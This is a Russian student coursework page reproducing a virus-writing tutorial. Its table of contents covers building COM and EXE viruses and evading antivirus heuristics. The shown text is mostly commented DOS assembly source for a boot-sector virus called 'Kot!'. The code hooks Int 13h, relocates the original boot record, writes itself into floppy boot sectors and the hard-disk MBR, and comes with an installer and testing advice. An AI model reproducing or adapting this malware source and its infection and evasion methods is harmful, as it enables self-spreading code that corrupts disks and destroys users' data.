Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

                                      ;флаги

               db 0eah                ;Перейдем к сис-

    old_13h    dw 0                   ;темному обра-

    old_13h_2  dw 0                   ;ботчику Int 13h

 

    boot_infect proc                  ;

               push ax                ;Сохраним реги-

               push bx                ;стры в стеке

               push cx                ;прерванного

               push dx                ;процесса

               push di                ;

               push ds                ;

               push es                ;

               pushf                  ;

                                      ;

               push cs                ;ES = CS

               pop es                 ;

                                      ;

               push cs                ;DS = CS

               pop ds                 ;

                                      ;

               mov cx,3               ;Попробуем про-

    next_read: push cx                ;честь BOOT -

                                      ;сектор дискеты.

               call cs:read_mbr       ;На это даем три

               pop cx                 ;попытки (напри-

               jnc cs:inf_check       ;мер,если  двига-

                                      ;тель дисковода

                                      ;не успел разо-

                                      ;гнаться до ра-

                                      ;бочей скорости,

                                      ;то BIOS вернет

                                      ;ошибку -дискета

                                      ;сменена ! )

               xor ah,ah              ;При ошибке -

               pushf                  ;сбросим текущий

    call dword ptr old_13h - 100h     ;дисковод

               jc cs:to_jump          ;и повторим

               loop cs:next_read      ;чтение

    to_jump:   jmp cs:restore_regs    ;

                                      ;BOOT - сектор

                                      ;заражен ?

    inf_check: cmp byte ptr ds:[455h],33h

               je cs:to_jump          ;Да !

    cmp word ptr ds:[40bh],200h       ;512 байт в

                                      ;секторе ?

               jne cs:to_jump         ;Нет  !

                                      ;

               mov dl_save - 100h,dl

               mov ch,79              ;Определим

               mov dh,byte ptr ds:[415h]

               cmp dh,0f0h            ;параметры

               je cs:real_80          ;дискеты

               cmp dh,0f9h            ;по ее

               je cs:real_80          ;Media

               cmp dh,0fdh            ;Descryptor

               jne cs:to_jump         ;

               mov ch,39              ;

    real_80:   mov dh,01h             ;

               mov cl,byte ptr ds:[418h]

 

                                      ;Перепишем нас-

                                      ;тоящий BOOT в

                                      ;последний сек-

                                      ;тор последней

                                      ;дорожки на пос-

                                      ;ледней стороне

               xor dl,dl              ;

               call cs:write_mbr_last ;

               jc cs:to_jump          ;

                                      ;

               mov additor - 100h,055h;Сформируем код,

               xor di,di              ;который нужно

               mov cx,prg_lenght      ;записать на

    copy_vir:  mov al,byte ptr ds:[di];дискету  вместо

    mov byte ptr ds:[di + 455h],al    ;исходной BOOT -

               inc di                 ;записи

               loop cs:copy_vir       ;

    mov word ptr ds:[400h],053ebh     ;

                                      ;

               xor dh,dh              ;И запишем его

               call cs:write_mbr      ;в первый

                                      ;сектор нулевой

                                     ;дорожки нулевой

                                      ;стороны дискеты

                                      ;

    restore_regs:                     ;Восстановим из

               popf                   ;стека регистры

               pop es                 ;

               pop ds                 ;

               pop di                 ;

               pop dx                 ;

               pop cx                 ;

               pop bx                 ;

               pop ax                 ;

               ret                    ;Выйдем из про-

                                      ;цедуры

    boot_infect endp                  ;

 

    read_mbr   proc                   ;

               xor dh,dh              ;

               mov ax,0201h           ;Процедура

               mov bx,400h            ;читает первый

               mov cx,01h             ;сектор нулевой

               pushf                  ;дорожки нулевой

    call dword ptr old_13h - 100h     ;стороны указан-

               ret                    ;ного накопителя

    read_mbr   endp                   ;

                                      ;

    write_mbr proc                    ;

               mov ax,0301h           ;Процедура

               mov cx,01h             ;помещает вирус-

               pushf                  ;ный код в BOOT-

    call dword ptr old_13h - 100h     ;сектор дискеты

               ret                    ;или записывает

    write_mbr  endp                   ;его вместо MBR

                                      ;винчестера

                                      ;

    write_mbr_last proc               ;Процедура

                                      ;переписывает

                                      ;исходную BOOT-

                                      ;запись или MBR

               mov num_head - 100h,dx ;в заданный

               mov cyl_sect - 100h,cx ;сектор зара-

               mov dl,dl_save - 100h  ;жаемого

                                      ;диска

               mov ax,0301h           ;

               pushf                  ;

    call dword ptr old_13h - 100h     ;

               ret                    ;

    write_mbr_last endp               ;

 

               db   'Kot!'            ;Название вируса

    dl_save    db   0                 ;Ячейка для вре-

                                      ;менного хране-

                                      ;ния регистра DL

                                      ;( Он задает

                                      ;номер

                                      ;накопителя )

    num_head   dw   0                 ;Здесь вирус

    cyl_sect   dw   0                 ;хранит номер

                                      ;головки,дорожки

                                      ;и сектора , в

                                      ;которых запи-

                                      ;сана настоящая

                                      ;загрузочная

                                      ;запись

                                      ;зараженного

                                      ;диска

    vvv        dw   004ch             ;Смещение к век-

                                      ;тору Int 13h

                                      ;Длина вирусного

                                      ;кода :

               prg_lenght   equ   $ - my_prg

 

    installer: lea si,my_prg          ;Подменим коман-

               mov byte ptr [si],33h  ;ду перехода на

    mov byte ptr [si + 1],0c0h        ;первые три бай-

    mov byte ptr [si + 2],8eh         ;та кода вируса

                                      ;Попробуем про-

                                      ;честь

                                      ;BOOT -

                                      ;сектор дискеты.

               mov ax,0201h           ;

               mov cx,01h             ;

               xor dx,dx              ;

               lea bx,bufer           ;

               int 13h                ;

               jc error               ;

                                      ;

               push es                ;Получим пара-

               mov ah,08h             ;метры дискеты

               xor dl,dl              ;

               int 13h                ;

               jnc all_good           ;

               cmp ah,01h             ;

               jne error              ;

               mov dh,01h             ;

               mov ch,27h             ;

    mov cl,byte ptr bufer [18h]       ;

    all_good:  xor dl,dl              ;

               mov num_head,dx        ;

               mov cyl_sect,cx        ;

               pop es                 ;

                                      ;Перепишем нас-

                                      ;тоящий BOOT в

                                      ;последний сек-

                                      ;тор последней

                                      ;дорожки на пос-

                                      ;ледней стороне

               mov ax,0301h           ;

               lea bx,bufer           ;

               int 13h                ;

               jc error               ;

                                      ;Сформируем код,

                                      ;который нужно

                                      ;записать на

                                      ;дискету вместо

                                      ;исходной BOOT -

                                      ;записи

               mov additor,055h       ;

               lea si,bufer + 55h     ;

               lea di,my_prg          ;

               mov cx,prg_lenght      ;

    copy_boot: mov al,byte ptr [di]   ;

               mov byte ptr [si],al   ;

               inc si                 ;

               inc di                 ;

               loop copy_boot         ;

    mov word ptr bufer[0],053ebh      ;

                                      ;И запишем его

                                      ;в первый

                                      ;сектор нулевой

                                      ;дорожки нулевой

                                      ;стороны дискеты

               mov ax,0301h           ;

               mov cx,01h             ;

               mov dx,0               ;

               lea bx,bufer           ;

               int 13h                ;

               jnc prg_end            ;

                                      ;

    error:     mov ah,09h             ;Если была оши-

               lea dx,err_mes         ;бка - выведем

               int 21h                ;сообщение о ней

                                      ;

    prg_end:   mov ax,4c00h           ;Завершаем за-

               int 21h                ;пускающую про-

                                      ;грамму

    err_mes    db   'Error !$'        ;Сообщение

    bufer      db   512 dup ( 0 )     ;В этот буфер

                                      ;считывается

                                      ;BOOT - сектор

                                      ;заражаемой

                                      ;дискеты

    prg ends                          ;Стандартное

    end my_prg                        ;окончание ASM-

                                      ;программы ...

 

                     1.16 Комментарии

 

    Вирус,который мы разработали  в этой главе, заража-

    ет BOOT - сектора дискет  и MBR жесткого диска. Как

    вы  убедились, написать  загрузочный вирус  совсем

    несложно - гораздо легче,чем,  скажем, файловый.Тем

    не менее я настоятельно рекомендую  читателям  по-

    пробовать " поймать  " один из существующих  загру-

    зочных вирусов и исследовать  его работу. Для начи-

    нающих можно порекомендовать  FORM или KONSTANTIN .

    Если же вы достаточно  опытный вирусолог, то можете

    помериться силами с  ONEHALF или другим шифрованным

    вирусом. Правда  учтите, что экспериментировать  с

    чужими вирусными программами   надо осторожно - не-

    которые из них при  трассировке вирусного кода  мо-

    гут испортить " винчестер  " вашего компьютера.

 

 

                   1.17 Испытание вируса

 

    Для проверки в действии  загрузочного вируса доста-

    точно загрузиться с  зараженного магнитного  диска.

    Понаблюдайте, как вирус  заражает дискеты и в каких

    случаях. Попробуйте  найти в памяти вирусный код, а

    найдя - пройдите его  отладчиком.

    Перед  проведением   экспериментов  с  предложенной

    программой обязательно  скопируйте оригинальную MBR

    жесткого диска  в  отдельный файл на  дискете.  Если

    этого не сделать,  вы  рискуете потерять данные  на

    винчестере.

    Все проверки вирусной  программы рекомендуется про-

    водить  с помощью   программы  DISKEDIT, желательно

    одной из последних  версий. С помощью этой же прог-

Информация о работе Вирусы